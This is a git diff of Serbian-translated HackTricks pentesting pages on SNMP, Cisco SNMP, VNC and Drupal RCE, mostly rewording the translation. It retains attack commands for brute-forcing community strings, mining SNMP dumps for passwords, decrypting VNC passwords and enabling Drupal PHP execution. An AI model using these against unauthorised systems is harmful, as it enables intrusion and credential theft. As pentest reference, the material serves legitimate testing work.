![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
||||||
|
|
||||||
Možete **navigirati** kroz **OID stablo** sa veba ovde: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ili **videti šta OID znači** (kao `1.3.6.1.2.1.1`) pristupajući [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
Možete **navigirati** kroz **OID stablo** sa veba ovde: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ili **videti šta OID znači** (kao `1.3.6.1.2.1.1`) pristupajući [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||||
Postoje neki **poznati OIDs** kao što su oni unutar [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) koji se odnose na MIB-2 definisane Simple Network Management Protocol (SNMP) varijable. I iz **OIDs koji zavise od ovog** možete dobiti neke zanimljive podatke o hostu (sistemski podaci, podaci o mreži, podaci o procesima...)
|
Postoje neki **poznati OIDs** kao što su oni unutar [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) koji se odnose na MIB-2 definisane Simple Network Management Protocol (SNMP) varijable. I iz **OIDs koji zavise od ovog** možete dobiti neke zanimljive podatke o hostu (sistemskim podacima, mrežnim podacima, podacima o procesima...)
|
||||||
|
|
||||||
### **Primer OID-a**
|
### **OID Primer**
|
||||||
|
|
||||||
[**Primer odavde**](https://www.netadmintools.com/snmp-mib-and-oids/):
|
[**Primer odavde**](https://www.netadmintools.com/snmp-mib-and-oids/):
|
||||||
|
|
||||||
|
@ -88,7 +88,7 @@ Ostatak vrednosti daje specifične informacije o uređaju.
|
||||||
Postoje 2 važne verzije SNMP:
|
Postoje 2 važne verzije SNMP:
|
||||||
|
|
||||||
* **SNMPv1**: Glavna verzija, još uvek je najčešća, **autentifikacija se zasniva na stringu** (community string) koji putuje u **plain-text** (svi podaci putuju u običnom tekstu). **Verzija 2 i 2c** takođe šalju **saobraćaj u plain text** i koriste **community string kao autentifikaciju**.
|
* **SNMPv1**: Glavna verzija, još uvek je najčešća, **autentifikacija se zasniva na stringu** (community string) koji putuje u **plain-text** (svi podaci putuju u običnom tekstu). **Verzija 2 i 2c** takođe šalju **saobraćaj u plain text** i koriste **community string kao autentifikaciju**.
|
||||||
* **SNMPv3**: Koristi bolji **oblik autentifikacije** i informacije putuju **kriptovano** (moguće je izvršiti **napad rečnikom**, ali bi bilo mnogo teže pronaći ispravne kredencijale nego u SNMPv1 i v2).
|
* **SNMPv3**: Koristi bolji **oblik autentifikacije** i informacije putuju **kriptovano** koristeći (**dictionary attack** može biti izveden, ali bi bilo mnogo teže pronaći ispravne kredencijale nego u SNMPv1 i v2).
|
||||||
|
|
||||||
### Community Strings
|
### Community Strings
|
||||||
|
|
||||||
|
@ -98,14 +98,14 @@ Postoje **2 tipa community strings**:
|
||||||
* **`public`** uglavnom **samo za čitanje** funkcije
|
* **`public`** uglavnom **samo za čitanje** funkcije
|
||||||
* **`private`** **Čitanje/Pisanje** uopšteno
|
* **`private`** **Čitanje/Pisanje** uopšteno
|
||||||
|
|
||||||
Napomena da **pisivost OID-a zavisi od korišćenog community stringa**, tako da **čak i** ako otkrijete da se koristi "**public**", mogli biste biti u mogućnosti da **pišete neke vrednosti.** Takođe, može postojati objekata koji su **uvek "Samo za čitanje".**\
|
Napomena da **pisivost OID-a zavisi od korišćenog community string-a**, tako da **čak i** ako otkrijete da se koristi "**public**", mogli biste biti u mogućnosti da **pišete neke vrednosti.** Takođe, može postojati objekata koji su **uvek "Samo za čitanje".**\
|
||||||
Ako pokušate da **pišete** objekat, dobićete **`noSuchName` ili `readOnly` grešku**.\*\*.\*\*
|
Ako pokušate da **pišete** objekat, dobićete **`noSuchName` ili `readOnly` grešku**.\*\*.\*\*
|
||||||
|
|
||||||
U verzijama 1 i 2/2c, ako koristite **loš** community string, server neće **odgovoriti**. Dakle, ako odgovara, korišćen je **validan community string**.
|
U verzijama 1 i 2/2c, ako koristite **loš** community string, server neće **odgovoriti**. Dakle, ako odgovara, korišćen je **validan community string**.
|
||||||
|
|
||||||
## Portovi
|
## Portovi
|
||||||
|
|
||||||
[Sa Wikipedije](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol):
|
[Sa Vikipedije](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol):
|
||||||
|
|
||||||
* SNMP agent prima zahteve na UDP portu **161**.
|
* SNMP agent prima zahteve na UDP portu **161**.
|
||||||
* Menadžer prima obaveštenja ([Trape](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) i [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) na portu **162**.
|
* Menadžer prima obaveštenja ([Trape](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) i [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) na portu **162**.
|
||||||
|
@ -113,9 +113,9 @@ U verzijama 1 i 2/2c, ako koristite **loš** community string, server neće **od
|
||||||
|
|
||||||
## Brute-Force Community String (v1 i v2c)
|
## Brute-Force Community String (v1 i v2c)
|
||||||
|
|
||||||
Da biste **pogodili community string**, mogli biste izvršiti napad rečnikom. Proverite [ovde različite načine za izvršenje brute-force napada protiv SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Često korišćen community string je `public`.
|
Da biste **pogodili community string**, mogli biste izvesti napad rečnikom. Proverite [ovde različite načine za izvođenje brute-force napada protiv SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Često korišćen community string je `public`.
|
||||||
|
|
||||||
## Enumeracija SNMP
|
## Enumerating SNMP
|
||||||
|
|
||||||
Preporučuje se instalacija sledećeg da biste videli šta znači **svaki OID prikupljen** sa uređaja:
|
Preporučuje se instalacija sledećeg da biste videli šta znači **svaki OID prikupljen** sa uređaja:
|
||||||
```bash
|
```bash
|
||||||
|
@ -150,13 +150,13 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||||
|
|
||||||
### **Opasne postavke**
|
### **Opasne postavke**
|
||||||
|
|
||||||
U oblasti upravljanja mrežom, određene konfiguracije i parametri su ključni za osiguranje sveobuhvatnog nadgledanja i kontrole.
|
U oblasti upravljanja mrežom, određene konfiguracije i parametri su ključni za osiguranje sveobuhvatnog nadzora i kontrole.
|
||||||
|
|
||||||
### Postavke pristupa
|
### Postavke pristupa
|
||||||
|
|
||||||
Dve glavne postavke omogućavaju pristup **celom OID stablu**, što je ključna komponenta u upravljanju mrežom:
|
Dve glavne postavke omogućavaju pristup **celom OID stablu**, što je ključna komponenta u upravljanju mrežom:
|
||||||
|
|
||||||
1. **`rwuser noauth`** je postavljen da dozvoli potpuni pristup OID stablu bez potrebe za autentifikacijom. Ova postavka je jednostavna i omogućava neograničen pristup.
|
1. **`rwuser noauth`** je postavljen da omogući potpuni pristup OID stablu bez potrebe za autentifikacijom. Ova postavka je jednostavna i omogućava neograničen pristup.
|
||||||
2. Za specifičniju kontrolu, pristup se može odobriti korišćenjem:
|
2. Za specifičniju kontrolu, pristup se može odobriti korišćenjem:
|
||||||
* **`rwcommunity`** za **IPv4** adrese, i
|
* **`rwcommunity`** za **IPv4** adrese, i
|
||||||
* **`rwcommunity6`** za **IPv6** adrese.
|
* **`rwcommunity6`** za **IPv6** adrese.
|
||||||
|
@ -165,15 +165,15 @@ Obe komande zahtevaju **community string** i relevantnu IP adresu, nudeći potpu
|
||||||
|
|
||||||
### SNMP parametri za Microsoft Windows
|
### SNMP parametri za Microsoft Windows
|
||||||
|
|
||||||
Serija **Management Information Base (MIB) vrednosti** se koristi za nadgledanje različitih aspekata Windows sistema putem SNMP:
|
Serija **Management Information Base (MIB) vrednosti** se koristi za praćenje različitih aspekata Windows sistema putem SNMP:
|
||||||
|
|
||||||
* **Sistemski procesi**: Pristupa se putem `1.3.6.1.2.1.25.1.6.0`, ovaj parametar omogućava nadgledanje aktivnih procesa unutar sistema.
|
* **Sistemski procesi**: Pristupa se putem `1.3.6.1.2.1.25.1.6.0`, ovaj parametar omogućava praćenje aktivnih procesa unutar sistema.
|
||||||
* **Aktivni programi**: Vrednost `1.3.6.1.2.1.25.4.2.1.2` je namenjena praćenju trenutno aktivnih programa.
|
* **Pokrenuti programi**: Vrednost `1.3.6.1.2.1.25.4.2.1.2` je namenjena praćenju trenutno pokrenutih programa.
|
||||||
* **Putanja procesa**: Da bi se odredilo odakle se proces izvršava, koristi se MIB vrednost `1.3.6.1.2.1.25.4.2.1.4`.
|
* **Putanja procesa**: Da bi se odredilo odakle se proces izvršava, koristi se MIB vrednost `1.3.6.1.2.1.25.4.2.1.4`.
|
||||||
* **Skladišne jedinice**: Nadgledanje skladišnih jedinica olakšano je putem `1.3.6.1.2.1.25.2.3.1.4`.
|
* **Skladišne jedinice**: Praćenje skladišnih jedinica olakšava `1.3.6.1.2.1.25.2.3.1.4`.
|
||||||
* **Ime softvera**: Da bi se identifikovao softver instaliran na sistemu, koristi se `1.3.6.1.2.1.25.6.3.1.2`.
|
* **Ime softvera**: Da bi se identifikovao softver instaliran na sistemu, koristi se `1.3.6.1.2.1.25.6.3.1.2`.
|
||||||
* **Korisnički nalozi**: Vrednost `1.3.6.1.4.1.77.1.2.25` omogućava praćenje korisničkih naloga.
|
* **Korisnički nalozi**: Vrednost `1.3.6.1.4.1.77.1.2.25` omogućava praćenje korisničkih naloga.
|
||||||
* **TCP lokalne portove**: Na kraju, `1.3.6.1.2.1.6.13.1.3` je namenjen za nadgledanje TCP lokalnih portova, pružajući uvid u aktivne mrežne veze.
|
* **TCP lokalne portove**: Na kraju, `1.3.6.1.2.1.6.13.1.3` je namenjena za praćenje TCP lokalnih portova, pružajući uvid u aktivne mrežne veze.
|
||||||
|
|
||||||
### Cisco
|
### Cisco
|
||||||
|
|
||||||
|
@ -193,7 +193,7 @@ Ako imate **string** koji vam omogućava da **pišete vrednosti** unutar SNMP se
|
||||||
|
|
||||||
## **Masovni SNMP**
|
## **Masovni SNMP**
|
||||||
|
|
||||||
[Braa ](https://github.com/mteg/braa) je masovni SNMP skener. Predviđena upotreba ovog alata je, naravno, pravljenje SNMP upita – ali za razliku od snmpwalk iz net-snmp, sposoban je da upita desetine ili stotine hostova istovremeno, i u jednom procesu. Tako, troši vrlo malo sistemskih resursa i skeniranje obavlja VEOMA brzo.
|
[Braa](https://github.com/mteg/braa) je masovni SNMP skener. Predviđena upotreba ovog alata je, naravno, pravljenje SNMP upita – ali za razliku od snmpwalk iz net-snmp, može da upita desetine ili stotine hostova istovremeno, i u jednom procesu. Tako, troši vrlo malo sistemskih resursa i skeniranje obavlja VEOMA brzo.
|
||||||
|
|
||||||
Braa implementira svoj VLASTITI snmp stek, tako da mu nisu potrebne nikakve SNMP biblioteke poput net-snmp.
|
Braa implementira svoj VLASTITI snmp stek, tako da mu nisu potrebne nikakve SNMP biblioteke poput net-snmp.
|
||||||
|
|
||||||
|
@ -219,13 +219,13 @@ grep -i "trap" *.snmp
|
||||||
```
|
```
|
||||||
### **Korisnička imena/Lozinke**
|
### **Korisnička imena/Lozinke**
|
||||||
|
|
||||||
Zapisi pohranjeni unutar MIB tabela se ispituju za **neuspešne pokušaje prijavljivanja**, koji mogu slučajno uključivati lozinke unesene kao korisnička imena. Ključne reči kao što su _fail_, _failed_, ili _login_ se pretražuju kako bi se pronašli vredni podaci:
|
Zapisnici pohranjeni unutar MIB tabela se ispituju za **neuspešne pokušaje prijavljivanja**, koji mogu slučajno uključivati lozinke unesene kao korisnička imena. Ključne reči kao što su _fail_, _failed_, ili _login_ se pretražuju kako bi se pronašli vredni podaci:
|
||||||
```bash
|
```bash
|
||||||
grep -i "login\|fail" *.snmp
|
grep -i "login\|fail" *.snmp
|
||||||
```
|
```
|
||||||
### **Emails**
|
### **Emailovi**
|
||||||
|
|
||||||
Na kraju, za ekstrakciju **email adresa** iz podataka, koristi se **grep komanda** sa regularnim izrazom, fokusirajući se na obrasce koji odgovaraju formatima email adresa:
|
Na kraju, za ekstrakciju **email adresa** iz podataka, koristi se **grep komanda** sa regularnim izrazom, fokusirajući se na obrasce koji odgovaraju formatima emailova:
|
||||||
```bash
|
```bash
|
||||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
||||||
```
|
```
|
||||||
|
@ -233,9 +233,9 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
||||||
|
|
||||||
Možete koristiti _**NetScanTools**_ da **modifikujete vrednosti**. Biće vam potrebna **privatna string** da biste to uradili.
|
Možete koristiti _**NetScanTools**_ da **modifikujete vrednosti**. Biće vam potrebna **privatna string** da biste to uradili.
|
||||||
|
|
||||||
## Lažiranje
|
## Spoofing
|
||||||
|
|
||||||
Ako postoji ACL koji dozvoljava samo nekim IP adresama da upitaju SNMP servis, možete lažirati jednu od ovih adresa unutar UDP paketa i prisluškivati saobraćaj.
|
Ako postoji ACL koji dozvoljava samo nekim IP adresama da upitaju SNMP servis, možete spoofovati jednu od ovih adresa unutar UDP paketa i prisluškivati saobraćaj.
|
||||||
|
|
||||||
## Istraživanje SNMP konfiguracionih fajlova
|
## Istraživanje SNMP konfiguracionih fajlova
|
||||||
|
|
||||||
|
@ -243,9 +243,9 @@ Ako postoji ACL koji dozvoljava samo nekim IP adresama da upitaju SNMP servis, m
|
||||||
* snmpd.conf
|
* snmpd.conf
|
||||||
* snmp-config.xml
|
* snmp-config.xml
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
|
Ako ste zainteresovani za **hakersku karijeru** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||||
|
|
||||||
|
@ -23,9 +23,9 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
||||||
|
|
||||||
## Pentesting Cisco Networks
|
## Pentesting Cisco Networks
|
||||||
|
|
||||||
**SNMP** funkcioniše preko UDP sa portovima 161/UDP za opšte poruke i 162/UDP za trap poruke. Ovaj protokol se oslanja na community strings, koji služe kao lozinke koje omogućavaju komunikaciju između SNMP agenata i servera. Ove stringove su ključni jer određuju nivoe pristupa, posebno **samo za čitanje (RO) ili čitanje i pisanje (RW) dozvole**. Značajan napad za pentestere je **brute-forcing community strings**, sa ciljem infiltracije mrežnih uređaja.
|
**SNMP** funkcioniše preko UDP sa portovima 161/UDP za opšte poruke i 162/UDP za trap poruke. Ovaj protokol se oslanja na zajedničke stringove, koji služe kao lozinke koje omogućavaju komunikaciju između SNMP agenata i servera. Ovi stringovi su ključni jer određuju nivoe pristupa, posebno **samo za čitanje (RO) ili čitanje i pisanje (RW) dozvole**. Značajan napad za pentestere je **brute-forcing zajedničkih stringova**, sa ciljem infiltracije u mrežne uređaje.
|
||||||
|
|
||||||
Praktičan alat za izvođenje ovakvih brute-force napada je [**onesixtyone**](https://github.com/trailofbits/onesixtyone), koji zahteva listu potencijalnih community strings i IP adrese ciljeva:
|
Praktičan alat za izvođenje ovakvih brute-force napada je [**onesixtyone**](https://github.com/trailofbits/onesixtyone), koji zahteva listu potencijalnih zajedničkih stringova i IP adrese ciljeva:
|
||||||
```bash
|
```bash
|
||||||
onesixtyone -c communitystrings -i targets
|
onesixtyone -c communitystrings -i targets
|
||||||
```
|
```
|
||||||
|
@ -52,9 +52,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||||
|
|
||||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# 5800,5801,5900,5901 - Pentesting VNC
|
# 5800,5801,5900,5901 - Pentesting VNC
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||||
|
|
||||||
|
@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
||||||
|
|
||||||
## Basic Information
|
## Basic Information
|
||||||
|
|
||||||
**Virtual Network Computing (VNC)** je robusni sistem za deljenje grafičkog radnog stola koji koristi **Remote Frame Buffer (RFB)** protokol za omogućavanje daljinskog upravljanja i saradnje sa drugim računarom. Sa VNC-om, korisnici mogu besprekorno da interaguju sa daljinskim računarom prenoseći događaje sa tastature i miša u oba pravca. Ovo omogućava pristup u realnom vremenu i olakšava efikasnu daljinsku pomoć ili saradnju preko mreže.
|
**Virtual Network Computing (VNC)** je robusni grafički sistem za deljenje radne površine koji koristi **Remote Frame Buffer (RFB)** protokol za omogućavanje daljinskog upravljanja i saradnje sa drugim računarom. Sa VNC-om, korisnici mogu besprekorno da interaguju sa daljinskim računarom prenoseći događaje sa tastature i miša u oba pravca. Ovo omogućava pristup u realnom vremenu i olakšava efikasnu daljinsku pomoć ili saradnju preko mreže.
|
||||||
|
|
||||||
VNC obično koristi portove **5800 ili 5801 ili 5900 ili 5901.**
|
VNC obično koristi portove **5800 ili 5801 ili 5900 ili 5901.**
|
||||||
```
|
```
|
||||||
|
@ -51,8 +51,8 @@ make
|
||||||
vncpwd <vnc password file>
|
vncpwd <vnc password file>
|
||||||
```
|
```
|
||||||
Možete to učiniti jer je lozinka koja se koristi unutar 3des za enkripciju običnih VNC lozinki obrnuta pre nekoliko godina.\
|
Možete to učiniti jer je lozinka koja se koristi unutar 3des za enkripciju običnih VNC lozinki obrnuta pre nekoliko godina.\
|
||||||
Za **Windows** možete takođe koristiti ovaj alat: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
Za **Windows** možete koristiti i ovaj alat: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
||||||
Ovdje takođe čuvam alat radi lakšeg pristupa:
|
Alat čuvam ovde takođe radi lakšeg pristupa:
|
||||||
|
|
||||||
{% file src="../.gitbook/assets/vncpwd.zip" %}
|
{% file src="../.gitbook/assets/vncpwd.zip" %}
|
||||||
|
|
||||||
|
@ -60,15 +60,15 @@ Ovdje takođe čuvam alat radi lakšeg pristupa:
|
||||||
|
|
||||||
* `port:5900 RFB`
|
* `port:5900 RFB`
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -1,16 +1,16 @@
|
||||||
# Drupal RCE
|
# Drupal RCE
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Podržite HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -18,7 +18,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
||||||
## Sa PHP Filter Modulom
|
## Sa PHP Filter Modulom
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
U starijim verzijama Drupala **(pre verzije 8)**, bilo je moguće prijaviti se kao administrator i **omogućiti `PHP filter` modul**, koji "Omogućava evaluaciju ugrađenog PHP koda/fragmenta." Ali od verzije 8 ovaj modul nije instaliran po defaultu.
|
U starijim verzijama Drupala **(pre verzije 8)**, bilo je moguće prijaviti se kao admin i **omogućiti `PHP filter` modul**, koji "Omogućava evaluaciju ugrađenog PHP koda/fragmenta." Ali od verzije 8 ovaj modul nije instaliran po defaultu.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Potrebno je da **plugin php bude instaliran** (proverite pristupom _/modules/php_ i ako vrati **403**, onda **postoji**, ako **nije pronađen**, onda **plugin php nije instaliran**)
|
Potrebno je da **plugin php bude instaliran** (proverite pristupom _/modules/php_ i ako vrati **403**, onda **postoji**, ako **nije pronađen**, onda **plugin php nije instaliran**)
|
||||||
|
@ -47,15 +47,15 @@ Od verzije **8 pa nadalje,** [**PHP Filter**](https://www.drupal.org/project/php
|
||||||
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||||||
2. Kada se preuzme, idite na **`Administracija`** > **`Izveštaji`** > **`Dostupne nadogradnje`**.
|
2. Kada se preuzme, idite na **`Administracija`** > **`Izveštaji`** > **`Dostupne nadogradnje`**.
|
||||||
3. Kliknite na **`Pretraži`**, izaberite datoteku iz direktorijuma u koji smo je preuzeli, a zatim kliknite na **`Instaliraj`**.
|
3. Kliknite na **`Pretraži`**, izaberite datoteku iz direktorijuma u koji smo je preuzeli, a zatim kliknite na **`Instaliraj`**.
|
||||||
4. Kada je modul instaliran, možemo kliknuti na **`Sadržaj`** i **napraviti novu osnovnu stranicu**, slično kao što smo uradili u primeru Drupal 7. Ponovo, obavezno **izaberite `PHP kod` iz `Format teksta` padajuće liste**.
|
4. Kada je modul instaliran, možemo kliknuti na **`Sadržaj`** i **napraviti novu osnovnu stranicu**, slično kao što smo uradili u primeru Drupal 7. Ponovo, obavezno **izaberite `PHP kod` iz `Format teksta` padajućeg menija**.
|
||||||
|
|
||||||
## Modul sa backdoor-om
|
## Modul sa Bekdorom
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
